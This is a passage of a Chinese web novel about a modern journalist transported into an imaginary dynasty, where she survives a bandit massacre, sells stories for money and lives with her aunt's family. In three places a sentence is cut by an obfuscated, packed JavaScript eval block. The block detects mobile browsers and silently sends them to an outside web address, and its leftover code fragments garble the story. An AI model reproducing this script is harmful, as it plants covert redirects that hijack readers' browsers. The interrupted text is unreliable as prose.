《新闻人在古代当首辅》 1. 穿越 “哎哎哎,走开走开,不买别站在这里妨碍别人,一脸穷酸样,耽误爷做生意。” 江幼宜在包子摊前驻足时间太久,只看不买,惨遭卖家无情驱赶。 唉,她长这么大还没为了一口吃的这么窘迫过,江幼宜打开随身携带的竹筒,古有望梅止渴,今有喝水充饥。竹筒挨在嘴边,却迟迟没有水流出来,她把竹筒口竖直朝下晃晃,一滴都没了。 她舔舔干裂的嘴唇,站在街头有一瞬间的茫然无措,再这么下去,她走不到县城就该饿死了。 谁家穿越跟她一样,第一天就沦落到要饭的地步啊…… 江幼宜本是帝都一家传媒公司新闻编辑部的撰稿人,在医院听到受害人自杀身亡的消息被刺激到陷入昏迷,再睁眼是完全陌生的环境。 泥土筑墙的农家小院,破旧木门大开,内里一片狼藉,到处是星星点点的红褐色痕迹,她前方不远直挺挺躺着两个人,不知生死,她自己则穿着洗到发白的粗糙衣服,还打着好几个补丁,后脑勺隐隐作痛,伸手去摸,湿滑黏腻,沾了她一手血。 短短几秒,江幼宜汗毛直立。 是不是她写的新闻稿得罪了什么人,对方趁她昏迷把她丢在某古装戏的拍摄片场,故意恶作剧她? 她闭上眼睛深呼吸,告诉自己现在是大白天不要怕。随后起身走到那两人身边小心查看,是一对中年男女,两人胸前的衣服红彤彤一团,胸口没有丝毫起伏。 江幼宜心跳得厉害,视线不由自主看向两人面部,脸色铁青,长相似曾相识。 头倏地一痛,脑海里瞬间挤满不属于她的记忆。 原来不是有人恶作剧她,是她穿越了,穿越到史书中没有记载的大宁朝,她这具身体的原主也叫江幼宜,地上这两具尸体是原主的父母。 就在今天清晨,这个宁静偏远的山村突然闯进一伙儿山匪,烧杀抢掠,原主父母为了保护原主被山匪残忍杀害,原主想扑上去救父母被山匪推了一把,后脑勺撞在水缸上死了。 原本简陋却整洁的小院被山匪翻得乱七八糟,江幼宜捂住胸口,顺着地上的红色痕迹走出院门。现在正是晌午,以往这个时候家家户户都飘出袅袅炊烟,现在整个村子寂静到森然。 江幼宜在春日和煦的阳光下站了很久,那种心脏狂跳、浑身发冷的感觉才得以缓解。 她重新回到院子,在原主父母房间找出一块白棉布包扎好头上的伤口,又到柴房拿出锄头,去后山上挖了一个大坑,把原主父母的尸体和原主的一套衣服埋葬在一起,堆起一个土包,插上一块无字木牌。 村里人被杀的被杀,被劫的被劫,已经没有一丝活气。这里没有一拨号码就能原地报警的手机,江幼宜得自己去县城去告官。 家里的钱粮都被土匪翻走了,这个偏僻山村距离县城很远,远到原主活到十七岁都没去过。江幼宜简单收拾好两套衣服,除了原主自己的,还带上了原主爹的一套以防万一。 她锁上大门,一路朝村口走去,沿路的家家户户都敞着门,从外面能清楚看到院子里的惨状,到处都是死人,空气中浓烈的血腥气久久不能散去,江幼宜几欲呕吐,那些尸体她没有动,她得保留命案现场等官府派人来调查。 农家人本来就穷,从来没有吃饱饭的时候,原主早饭吃得早,她穿来后还去后山挖坑干体力活,早就饿了。 现在已经过了午饭点,江幼宜盯着路边的包子摊眼睛发亮,奈何囊中羞涩,只能眼睁睁看着。包子摊老板看她只看不买,开口驱离,她只能捂着咕噜噜直叫唤的肚子,难堪地走开。 为了不让自己真的沦落到乞讨的地步,江幼宜开始思考一个问题,在这里她怎么才能快速赚到钱? 她在现代只是个四肢不勤,五谷不分的社畜,这么说可能有些夸张,但她确实除了会写稿子,连饭都不会做,平日全靠外卖续命。 江幼宜机械地往前走,脚重得像灌了铅,头晕眼花之际,她听到前方茶楼传来说书的声音。 “说时迟那时快!” 醒木一拍,说书人道出经典结束语:“欲知后事如何,请听下回分解。” 江幼宜眼睛一亮,来了!她的财路! 她径直进了茶楼,找到前方柜台正拨算盘的账房:“请问你们茶楼收故事吗?” 那账房抬头打量她一眼,犹豫片刻,道:“请稍后,我去找一下掌柜的。” 不多时,楼梯上传来一阵急促的脚步声,下来一个留着八字胡,头戴黑色六合帽的中年男人,他看到江幼宜脚步骤然慢下来,转头斥责旁边账房:“你怎么不说是个女的?真是,唉,算了算了。” 他站在楼梯上,居高临下,神情倨傲:“就是你说你有故事?” 江幼宜不卑不亢,拱手行礼:“您就是掌柜的?没错,是我说的。” “那你跟我过来吧。”八字胡男人不情不愿,还是转身让江幼宜跟着他上楼。 江幼宜边上楼边扫了一圈茶楼的大堂。 男人带着江幼宜进到一间包厢,他一屁股坐在椅子上,随后朝江幼宜伸手:“故事呢?拿出来我先看看。” 江幼宜柔柔笑道:“掌柜的不忙,不知您这边的故事是如何算钱的?” 男人皱着眉头,十分不耐:“一篇一百文。” 一篇故事相当于一个章节,字数在一千字左右,对于分币没有的江幼宜来说,这个价格还算合理。 江幼宜点点头:“那我就先口述一段。”她把现代新闻改编成符合时代背景的话本故事,讲给对方听。 “停停停!你这是什么故事?女人怎么可能科举入仕,封侯拜相?简直是滑天下之大稽!我就知道女人头发长见识短,能写出什么好故事?早知你是女的,我就不下去了,真是浪费时间,你赶紧走!”男人一脸嫌弃,直朝江幼宜摆手。 江幼宜火从心起:“掌柜的,女子又如何?女子能顶半边天,你瞧不起女子?” “真是笑话,女子未嫁从父,出嫁从夫,夫死从子,古往今来从来都是男人庇佑女人,建功立业者也全是男人,何来女人能顶半边天的说法?简直是无稽之谈!来人,快把这人赶出去。” 江幼宜平息下火气,朝男人一拱手:“不必,打扰了,我自己走。” 她带着包袱走出去,回头望向茶楼二楼,看不起女子是吧,现在就让你尝尝女子的厉害。 她早已观察好茶楼的经营状况,大堂里顾客不多,还都在吐槽这茶楼的故事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614386|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经讲过八百遍了,一点儿新意都没有。那账房叫掌柜下来的时候,掌柜步履匆匆,显然也知道茶楼的问题所在,急需购买新故事。 江幼宜站在茶楼门前的路上,清清嗓子,有点后悔刚刚没在茶楼趁机喝口水,不过没事儿,她马上就要让茶楼掌柜再把她恭恭敬敬请回去,好吃好喝伺候着! 不是她没志气,是这个镇子不大,只有这一间茶楼,她要挣快钱吃饭,就只能卖给这一家。 她摆出大学时候演讲的架势:“话说有一婴孩,因出生时天有异象且脸带黑色胎记,被全村认为是不祥之人,叫嚷着将其杀掉……” 茶楼前人来人往,看江幼宜站在路中间讲故事都不约而同停下来。 “说书还是得说书先生来,女人说书如何能成?” “我一听就不行,没有里面的裴先生讲得好。” “一个姑娘家的,看着还未成亲,就在外面抛头露面的,成何体统,这谁还敢娶?” 江幼宜对四周的指点充耳不闻,自顾自往下讲:“……婴孩在魔教的追击中掉落悬崖。”她停下不往后讲了。 “然后呢,掉下悬崖死了吗?” “是啊是啊,后续呢?” 江幼宜笑得两眼弯弯:“欲知后事如何,请听下回分解。”随后朝周围人摆摆手,理理包袱作势要走。 茶楼账房快步走到江幼宜面前:“姑娘,我家掌柜的有请。” “姑娘,我家公子愿出十两买下后续的故事。”一个佩剑的黑衣人伸手横在江幼宜和账房之间,掌心静静躺着一块圆润莹亮的元宝。 江幼宜毫不犹豫,一把摸走元宝,对黑衣人笑眯眯拱手:“劳烦这位大哥带路。” 走出两步贱嗖嗖回头看向茶楼二楼窗口,挥了挥手里的元宝:“掌柜的,对不住了啊,实在是别人给得太多了。” 掌柜站在二楼窗前,眼睁睁看着黑衣人把江幼宜带到街角消失,追悔莫及。 黑衣人把江幼宜带到一架马车前,车门紧闭,窗帘拉着,看不到车内丝毫。 江幼宜对着马车拱手:“多谢公子赏识,只是这故事并无稿子,可否允许在下口述?” 马车中传出窸窸窣窣的声音,一道略尖细的男声响起:“姑娘请讲。” 江幼宜把故事从头到尾口述一遍,知道车内的人在记录,她语速不快。 最后讲到那婴孩其实是名女子的时候,马车中传来另一道清冽好听的男声:“有点意思。” 江幼宜怔愣一下,随后道:“公子喜欢就好,在下就不多叨扰了。”她还怕这公子也像那掌柜的一样接受不了女子做主角,到手的十两银子飞了呢。现在这钱终于踏实落到手里,她急需去填饱肚子。 “姑娘可否留下姓名?”是那个声音略尖细的男子。 “若一定要留,请叫我‘画中仙’吧。”说完,江幼宜潇洒离开。 马车窗口的帘子被修长干净的手指掀起一角,露出一截棱角分明的下颌线。 黑衣人见状询问:“主子,是否要属下去打探一番?” 江幼宜瘦削挺直的背影消失,帘子被放下。 半晌,车内人轻声道:“不必了,有缘自会重逢,回京吧。” 2. 进县城 “老板,来3个烧饼。”江幼宜回到刚刚驻足的包子摊……隔壁,她就是故意的,谁让刚刚隔壁那老板对她那么凶的。 江幼宜拿到烧饼狠狠咬下一大口,看着包子摊老板跟吃了苍蝇一样难受的表情,江幼宜爽了,哼着小曲儿去找车行,有钱了当然不能委屈自己,直接租车去县城。 有了代步工具,江幼宜第二天就抵达县城。她跟车夫打听好县衙的位置,独自步行过去。县城比镇上繁华很多,她从怀里掏出昨日买的烧饼,边走边吃边看。 江幼宜一路朝县衙方向走去,渐渐地,路上行人越来越少,在一条街尽头左转之后,她看到了前方的衙役,那衙役抓着一个穿囚服的女子,正跟对面的男人交谈,想必那里就是县衙了,终于找到地方了,江幼宜心里一喜,加快脚步。 衙役对面的男人伸手扯过衙役手里的囚犯,转身粗鲁地把人推进旁边停着的马车里,这个角度江幼宜正好能看清那个男人的脸,一道狰狞的刀疤从右眼尾一直延伸至下颌骨,正是那天杀死原主和原主父母的山匪之一! 江幼宜低下头,故作镇定,转身拐进旁边的巷子,她怕她突然加速逃跑反而引起那两人注意,她靠在窄巷墙上捂着砰砰直跳的心脏,怎么会这样? 那道狰狞的疤痕十分有记忆点,她不会看错,可是山匪怎么会跟衙役待在一起,是衙役不知山匪恶行还是官匪勾结?她看一眼四通八达的巷子,从另一条路悄悄往两人所在的位置找过去。 此处已经距离那两人很近了,江幼宜隐隐约约能听到他们的对话。 “关兄,确认没有漏网之鱼吧?” “兄弟们做事你还不放心吗?没用的都杀了,有用的都被兄弟们迷晕带走了,肯定不会留下把柄。再说了,就算真被捅出去,还有那位大人保着呢,郑老弟,你就把心放到肚子里去吧。”这个声音,是那个山匪。 “那就好,关兄你也别嫌我事儿多,我们大人一向胆子小,货都不敢一次性多囤几个,这你也是知道的,再说,小心驶得万年船,谨慎一点儿也能让那位大人少替我们底下人操点心嘛。” “你们有这份儿心就够了,等大人事成,少不了你们的好处!” “那是当然,还望关兄能多在那位大人面前替我们美言一番。” “这是自然,闲话我们来日再叙,我得抓紧去找其他兄弟会合了,记得转告你们大人,下次多囤点货,兄弟们出来一趟不容易,这一个两个的可不值得专门跑一趟。” “是是是,关兄和其他兄弟辛苦,这些钱您拿着,小小心意不成敬意,路上买些酒喝。” “郑老弟,你可比你家大人识相多了,走了。” “关兄慢走。” 两人对话戛然而止,只有马车木轮轧在石板路上发出的“咕噜”声,马车越来越远,江幼宜的心也越来越沉。 居然真的是官匪勾结,而且听山匪的意思,县令上面另有身份地位尊贵的大人物保着,没有漏网之鱼说的极有可能是她们村的屠村案,她若去报案,无异于自投罗网。 村子已经不能回了,可是如果不回村子,她还能去哪呢? 她手里的只有十两银子,根本不够买房子,就算够,她也不能买,买房要在衙门登记,她的户籍很容易暴露。 对了!原主还有一个姨母,嫁在隔壁州,先去投奔姨母,再做打算。 江幼宜欲转身离去,却发现身后不知什么时候悄无声息地站了个人,那人直勾勾盯着她,十分诡异,她吓得往后退了两步,结果不小心踩到一块破碎瓦片,发出声响。 “什么人?”衙役的脚步声越来越近。 “怎么又是你?”衙役看着巷子里蓬头垢面的老妇人,“刷”一下把刀收回去,不耐道,“跟你说过多少遍了,有你女儿的线索我们自会通知你,别三番四次来衙门扰乱公务,再有下次就把你抓起来!” 老妇人拄着拐杖呆呆地站在原地,视线没有焦点,对衙役的话没有任何反应,只轻声呢喃着:“我的女儿,我可怜的女儿。” 衙役对老妇人神经兮兮的模样习以为常,他往老妇人身后看去,确定巷子里只有老妇人,低声咒骂:“这个耳聋眼瞎的,真是晦气。”啐了一口后转身离开。 从墙角破框的缝隙里看到衙役已经离开,江幼宜掀开破框钻出来。 老妇人声音嘶哑,轻声道:“年轻人,快离开吧。” 她现在自己都不知道前路在哪里,实在无力帮助这个可怜的母亲,她往老妇人手里塞了一两银子,快步走出巷子。 随便从路边摊子上买了一顶草帽,转身找了个角落,把原主爹的衣服拿出来换上,头发也用黑布条扎起来,衣服脸上抹了几把灰,再出来已经是一副穷困潦倒的男人模样。 在去车行的路上途经一家镖局,他们恰好要押镖到隔壁州,江幼宜转念一想,现在外面山匪横行,去车行租车远不如跟着镖局安全。她花钱搭车,有惊无险抵达隔壁州,一路打听着找到姨母家。 开门的是一个用布巾包着头发的妇人,个头比江幼宜矮一些,原主姨母和原主娘是一对双胞胎,她的长相与原主娘几乎一模一样。 见妇人面露疑惑,江幼宜率先开口:“姨母,我是幼宜。”妇人慈眉善目,她赌对方会收留她。 交通不便也有好处,比如现在。原主姨母自嫁到这里来就没有回过娘家,信也是几年才通一次,所以江幼宜完全不怕暴露,厚着脸皮认下身份。 江幼宜递出从镇上买来的点心:“姨母,给。” 妇人上下打量好几眼,终于从江幼宜沾满灰尘的脸上看到眼熟的五官:“快进来,你这孩子来就来,拿什么东西呀,你一个人来的吗?”妇人往江幼宜身后看去,空无一人,“你爹娘还好吗?” 江幼宜顿了一下,不知道该怎么说。 妇人收起笑容,小心翼翼道:“怎么了?是不是家里出什么事了?” “村里进了山匪,爹娘……”不知道是不是因为妇人太过温柔,江幼宜刚醒来时的害怕,差点被衙役发现的惶恐,面对陌生世界的不习惯,所有负面情绪全部涌上来,她眼里迅速积蓄起一汪泪水。 妇人将江幼宜揽进怀里:“好了好了,以后就安心在这里住下,其他的别多想了。” 妇人不说还好,一说江幼宜更忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614387|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住,极力克制的眼泪不争气地流下来,她明明很坚强的,可是这个怀抱好温暖,她从来不知道一个拥抱能让人如此贪恋。 妇人捧起江幼宜的脸颊,用手帕轻柔地帮她擦泪,露出她原本的面目:“长得跟我儿文松真像,对外说你们俩是双生子也有人信,正好姨母我想养个女儿呢,文松在县学读书不常回来,这院子里也没个人陪我说话,你来的正好,饿了吧,姨母去给你做饭。” 江幼宜顶着红彤彤的眼睛和鼻尖点了点头,带着浓浓的鼻音“嗯”了一声。 “你是不是捡了个丫头在家养着,怎么,捡来当儿媳妇的?”已经在姨母家生活几日的江幼宜这天正靠坐在床头思考要怎么多挣点钱,突然听到外面响起一道尖锐的妇人声音。 “是我外甥女。” “好哇张兰香,我问你借钱供光宗读书你不肯,现在却用傅家的钱去养外人,你可别忘了,当初二弟下葬的时候是谁借了你一斗米!” 一个中年男人在旁边搭腔:“兰香,不是大哥说你,你怎么能把我们老傅家的钱给外人花呢?” 江幼宜走到门口一看,一对陌生男女站在院子里,那妇人膀大腰圆,一脸尖酸刻薄的面相,中年男人獐头鼠目,看着也不良善。 “那些米我早就还上了,再说家里是什么情况大哥大嫂也能看见,真不是我不帮光宗,家里为了供文松读书已经没什么钱了。”姨母低着头,声音很小。 男人朝妇人使了个眼色,那妇人气势更盛,语气咄咄逼人:“真没钱怎么还能养着个外人?早晚都是要嫁人的赔钱货,那银子都白搭进去了,这钱拿给光宗读书,挣下来的可都是傅家的荣耀!” “兰香,你听大哥一句劝,那丫头年纪也不小了,你一直养着也不是个事儿,这样吧,你大嫂这里正好有一桩好亲事。”中年男人拍拍妇人的胳膊,示意妇人继续往下说。 江幼宜站在门口瞧了半天戏,敢情这戏的主角还是自己呢,她适时开口:“你们在干什么?” 那对男女转身上下打量江幼宜,对视一眼露出满意的神色,张兰香在他们俩身后朝江幼宜打手势,示意她赶快回屋。 妇人朝江幼宜笑得灿烂,走上前亲切握住江幼宜的手:“哎呦,好孩子,长得跟文松可真像,是个美人胚子呢。我是你姨母的大嫂,你可以喊我一声大伯娘。大伯娘今天来啊是专程给你说亲来了,我跟你说,那户人家是赫赫有名的财主,彩礼给的也多,你嫁过去擎等着享福就行,也就是咱们沾亲带故的我才说给你,旁人想寻这么一门好亲事还寻不着呢。” 江幼宜听得直想笑,她若成立一个马戏团,招这妇人去表演川剧变脸估计能挣不少钱,她微笑着把手从妇人手里拽出来:“多谢大伯母,幼宜心领了,只是幼宜父母刚过世,尚在孝期,恐要拂了大伯母好意。” 更别提这具身体今年才十七岁,放在现代还是未成年呢,成的哪门子亲。 妇人被拒,脸一下子黑了,偏偏江幼宜的理由让她无法反驳。 张兰香皱着眉头,大嫂口中的好人家不会是镇上那个刘财主吧?她试探着开口:“大嫂,你说的可是刘财主?” 3. 轻飘飘 妇人笑语晏晏:“是啊,兰香,刘财主要出五十两彩礼呢,那可是五十两啊,足够文松读好一阵书了,你不用熬眼睛做绣活儿,幼宜这孩子也能跟着刘财主吃香的喝辣的,多好一门亲事啊。”最关键的是,刘财主说谁能帮他找到合心意的小妾,就给谁二十两的媒人钱。 妇人继续悄声道:“我记得幼宜老家离这里挺远的吧?有些事你不提我不说,没人知道的。” 一听真是刘财主,张兰香拉下脸,声音比刚刚大不少:“那刘财主都五十多了,好几个儿子比幼宜年岁都大!不管给多少彩礼钱,我们都高攀不起这样的人家,大嫂还是不要再提了。而且为人子女,恪守孝道是本分,若只是做给别人看的,那成什么人了?大哥大嫂,时候不早了,赶紧回家去吧!” “张兰香,我好心给你外甥女介绍亲事,你这是什么态度?” “大嫂,这要真是门好亲事,你就让你女儿去嫁吧,五十两彩礼加二十两媒人钱,也够光宗吃喝嫖赌上好一阵子了!”张兰香一把将两人推到院门外,从里面拴上大门,隔绝那对男女的骂骂咧咧。 真当她什么都不知道啊,好好的姑娘卖给那么大年纪的刘财主糟蹋,只有那丧尽天良的父母才会把自家女儿往那火坑里推。 还有她那大侄子光宗,十二岁中童生在村里也称得上文曲星下凡了,可是现在都三十多了,还是童生一个,村里人谁不知道他这些年借着读书的名头在外面又嫖又赌,孩子都十几岁了也不知道顾家。 当初为了葬夫,那两口子逼着她下跪才借来一斗米,她早就翻倍还上了,就因为当年那一斗米的恩情,她一直在大哥大嫂面前硬气不起来,这些年他们用光宗读书的借口也借走不少钱,真是……唉。 江幼宜从怀里掏出荷包,那十两银子她花得省,还剩八两多,她现在吃住都在姨母家,理应给钱:“姨母,这钱你就拿着吧。”她刚来那天就要给,当时姨母没要。 张兰香把荷包推回去:“你的钱你收着,姨母还能养不起你啊,他们的话你别往心里去,那两口子就是为了钱什么都不顾。” “姨母,这钱就当你替我保管吧,我还小,身上放这么多钱晚上睡觉都不踏实。”江幼宜一把将荷包塞到张兰香手里,“姨母不是说把我当女儿嘛,难道是假的?” 张兰香笑起来:“好好好,那我就替你攒着,等你以后要嫁人了姨母再给你添点。” 江幼宜挽着张兰香的胳膊晃了晃:“这才对嘛。” 八两银子对普通农户来说够花好几年,但是对于供养读书人的人家又另当别论,一本科举用书动辄二三两银子,还有日常消耗的笔墨纸砚,都花费不少,江幼宜看着姨母两鬓的白发,得尽快想办法挣钱啊。 说实话,靠话本挣钱对她来说是个不错的选择,只是她现在还不会写这个时代的字…… “娘,我回来了。”一道清润的男声从门外传来。 张兰香听到声音,忙把刚拴上不久的门又打开。 “文松?你怎么回来了?” “马上要秋收了,我跟夫子请假回来干活。”傅文松笑着回答,转头疑惑地看一眼江幼宜,“这是?”。 张兰香轻轻一拍傅文松的胳膊:“你这孩子,早就跟你说地里的活儿我自己能干得过来,你好好在县学读书就行,不用操心这些。这是小你几个月的那个表妹幼宜,她家里出了些事,以后就住在咱们家了。” 傅文松朝江幼宜微微颔首:“幼宜表妹你好,娘,我也是这个家的一份子,平日里里外外的活儿我干不了就算了,秋收我一定得回来。对了,我刚刚看到大伯大伯母从咱们家离开,他们是不是又来要钱了?” 提起来张兰香就生气:“这次不是来要钱的,是想把幼宜卖给刘财主换钱,我把他们赶走了!” 傅文松眉头紧锁,两家早已分家,他们还一直来纠缠娘:“大伯和大伯母真是越来越过分了,若我明年中举,咱们就搬走吧。” “好好好,我儿真是出息,娘等着跟你沾光,你俩快进屋里歇会儿,我去做饭。”张兰香转身进了厨房。 江幼宜看着与自己面容十分相似的表哥,真是神奇,她还从没在这种角度看过自己的五官,跟照镜子的感觉完全不一样。 “表妹?” 江幼宜回神:“表哥,听说你是秀才,好厉害,你能教我读书识字吗?”真是瞌睡来了有人送枕头。 “表妹对读书感兴趣?”傅文松没有女子不能读书的偏见,达官贵人家的女子都是会的,村里人之所以认为女子不能读书,只是因为朝堂没有女子入仕,而村里也没谁家有余力供女子读书罢了,表妹喜欢读书,他当然支持,他正愁不知道该怎么跟表妹交流呢。 “我想写话本挣钱。”而且身为一个现代人,谁能允许自己变成一个两眼一抹黑的文盲? “表妹还会写话本,好厉害,等我一下,我去房间拿书。”傅文松开蒙时读的书都在房间里收着。 江幼宜并不是没有基础的人,甚至有些字跟简体字就是一样的,所以她学的很快,张兰香做饭的功夫江幼宜就已经认了好几页字。 晚饭桌上,傅文松从怀里摸出一个荷包递给张兰香:“娘,这是我抄书挣下的钱,你拿着。” 张兰香把荷包推回去,笑道:“今天这是怎么了?一个两个的都给我钱。文松,你读书开销大,这钱你自己收着就好。” “娘,你拿着吧,云承给我介绍了不少轻松的抄书活计,我身上还有银子,够用。” “云承帮我们许多,若人家有用得着我们的地方,可得好好回报人家。”自家儿子性子沉闷寡言,这么多年也就提起过李云承一个同窗,是儿子考上秀才进了县学之后认识的,云承大方又懂事,逢年过节还会买点心让儿子带回来给她。 傅文松点点头:“娘,我晓得。” 张兰香伸手接下荷包,儿子长大了,成了秀才,还能赚钱养家了,她的儿子现在是十里八乡最有出息的人,她很骄傲,别的她也帮不上儿子,只能多绣点手帕卖钱,等年底的时候给儿子置办一身新衣服。至于这些钱,自然是给儿子攒着,等他进京赶考的时候用。 张兰香给傅文松和江幼宜一人夹了一筷子菜:“来,你们两个多吃点。” “谢谢姨母,你做菜真好吃!”江幼宜冲张兰香笑得乖巧。 “好吃你就多吃点。”张兰香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614388|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又给江幼宜夹了一筷子。 傅文松看了一眼亲如母女的两人,自己默默夹菜吃。 秋收忙完之后,傅文松匆匆赶回县学,走之前他把自己房间的书都拿给了江幼宜,还带走了一本江幼宜口述,他代笔的话本,笔名“画中仙”。 秋去春来,江幼宜已经完全掌握这个时代的文字,用“画中仙”这个笔名出版了不少话本,话本火了,连带着这个笔名也在话本届有了不小的知名度,家里条件慢慢好了起来。 这期间江幼宜还利用现代应试技巧帮傅文松备考科举,她自己也跟着傅文松刷了不少科举真题,傅文松夸赞江幼宜的能力不下县学中的同窗,尤其是策论方面。 江幼宜在策论方面格外出众,得益于她前世看过写过的那些文章。受江幼宜思路影响,傅文松几次交给夫子的策论都被夫子表扬。 “真是丧尽天良!”张兰香挎着空篮子进了家门,朝外面骂了一句。 “姨母,怎么了?”江幼宜放下手中的书,来到院子里帮张兰香把篮子拿下来放好。 张兰香深深叹了一口气:“唉!小草被光宗卖给刘财主了……” “怎么会这样?!”小草可是傅光宗的亲妹妹啊,“大伯大伯娘不管吗?” “光宗欠了赌坊好几十两银子,还不上就要被赌坊的人打死,可怜的小草,真是作孽哟。” 小草那个姑娘她见过,整日背个竹筐,不是上山砍柴就是下地拔草,整个人面黄肌瘦,见了她会腼腆地喊“幼宜姐姐”,那是个比她还小一岁的小姑娘。 “我去把她救出来!” 张兰香拉住往外冲的江幼宜:“你怎么救?把小草抢出来不成?” “他花多少钱把小草卖出去的,我把她买回来还不行吗!” “傻孩子,买卖人口是犯法的呀。” “那他把小草卖了就不犯法吗?” “父母之命,媒妁之言,哪里算得上卖哟。” “可是小草呢?有人问过她的意愿吗?她也是活生生的人啊,凭什么她的人生就这样被别人毁了!” “幼宜啊,这嫁娶之事,连县令老爷都管不了的,听话,咱别去掺和了。” “不行,我不能接受!”江幼宜回屋把自己跟着表哥识字时做的字卡找出来,转身就往外跑。 “幼宜!”张兰香没拦住,眼睁睁看着江幼宜冲出去。 “小草……”江幼宜看着坐在床边像个没有生命的木偶娃娃一样的小草,胸口像压着一块大石头般呼吸不畅。 小草抬头,嘴角牵起,努力露出一抹牵强的笑容:“幼宜姐姐……” 江幼宜把怀里揣着的字卡和银钱偷偷塞给小草:“小草,你记着,在所有路都走不通的时候,还有读书识字这条路。” 小草握紧手中的字卡,喃喃道:“幼宜姐姐,读书识字了我就能自己做自己的主,不会被人卖来卖去了吗?” 在这个女子性命轻如草芥的时代,只有小草一个人会读书识字,她可能仍然摆脱不了这样的命运,只有天下半数的女子团结起来,才有一争之力。 江幼宜轻轻揉了一把小草的脑袋:“小草,会有那么一天的。” 4. 病危 傅光宗用卖小草的钱还上了赌债,仍然死性不改,在又一次欠债不还之后被赌坊的人打断了腿。 傅光宗的爹娘又跑来找张兰香要钱,撒泼打滚、要挟耍横,还带着张兰香的公婆一起施压,张兰香在江幼宜的劝说下咬死没钱,硬顶着没给。 赌博就是个无底洞,填不满的,江幼宜可不想让姨母成了专给傅光宗还赌债的冤大头。只是为了防止那家人出去乱说,影响表哥的名声,她让姨母当着村里人的面多给了表哥爷爷奶奶一袋粮食,休想给表哥扣上不孝的帽子! 最后傅光宗家里只能卖了两亩田替他还债,原来家里还有田可以卖,原来在他们家看来,小草还没有一块田重要…… 傅光宗断了腿整日赖在家里,身有残疾彻底断了读书的路子,傅光宗的爷爷奶奶和他爹埋怨傅光宗的娘没有教育好儿子,傅光宗的娘埋怨傅光宗的媳妇没有看好丈夫,每日吵吵嚷嚷不得消停,江幼宜看着如同糟报应的一家人也开心不起来。 这个秋天唯一的好消息是她表哥傅文松中举了。 傅文松中举之后县衙给了他一百两的奖励,为了能在县里置办宅子,傅文松把他名下大部分免税田地的份额给了富商挂靠,剩下的分给了村中条件艰苦的村民,没有傅光宗一家的份,因为他们家日子还没到那么艰难的地步。 傅光宗一家不忿,也只敢私下里骂傅文松是白眼狼,真到傅文松眼前也不敢造次,因为举人已经可以进县衙为官了。 秋闱之后的考试是会试,也称春闱,两场考试间隔时间不长,县学里的夫子多是举人出身,自己就没考中进士,也教不了别人更多,对于教育资源不发达的地方,春闱只能靠学子自己。 把自家的地低廉租给同村人,每年用来抵租金的粮食给傅文松的爷爷奶奶,处理好这些,一家人搬进了县里。 在县里安顿下来,傅文松在家里进入最后的冲刺阶段,夙兴夜寐,废寝忘食,偶尔同在县里的李云承会来家里朝傅文松讨教学业。 江幼宜看着表哥因为早起晚睡略显苍白的面色,劝道:“表哥,再努力也要悠着点身体才行呀。” 张兰香也面露担忧,怕自己开口会给儿子压力,只能在饭菜上多下功夫,让儿子吃好点。 “多谢表妹,我知道,只是我乡试并非头名,会试聚集的又是全天下最顶尖的学子,我必须更努力才有取中的可能。”这次在县中置办宅子花掉不少钱,进京一次也花费不少,娘这些年供他读书已经够辛苦了,他必须一次考中才行。 江幼宜在心中叹一口气,表哥中举之后的紧绷她都看在眼里,只是人如琴弦,总有极限。 会试时间在三月份,这里距离京城有一个月的行程,再加上需要提前到京城适应,正月里过不完年就要启程。眼下除夕刚过,张兰香已经帮傅文松打点好行囊,傅文松则趁着上路前继续争分夺秒读书。 “咳咳咳。” 张兰香听着傅文松房间里传来咳嗽声,拿起扇子将药炉下的火扇大了些。 张兰香看着风寒越来越严重的儿子,忍不住劝道:“文松,要么这次咱别去了,你病还没好,考棚里条件那么简陋,你这身体受不住啊。” “娘,下一届还要再等三年,太久了,再说我若不去,岂不连累跟我互保的同窗。”傅文松接过药碗一口闷下。 “咳咳咳,咳咳咳……”许是喝得太急呛到了,傅文松咳嗽不止,张兰香赶忙帮傅文松拍背。 “文松!”张兰香看着傅文松手帕上、衣袖上还有地上全是星星点点的血沫子,手抖得不成样子,药碗摔在地上瞬间四分五裂。 “姨母,表哥,怎么了?”江幼宜听到声音,从房间里跑过来,看着表哥的模样瞪大双眼,“我去喊大夫!” 回春堂的大夫摇摇头:“唉,令郎这身体……”他看着站在床边闻言面色比病人还苍白的妇人,把后半句话咽了回去,“有一个方子能帮他吊着命,只是这里面需要添加人参灵芝等名贵药材,花费甚多……” “大夫,不管多少钱,您只管开方子,只要能救我儿子。” 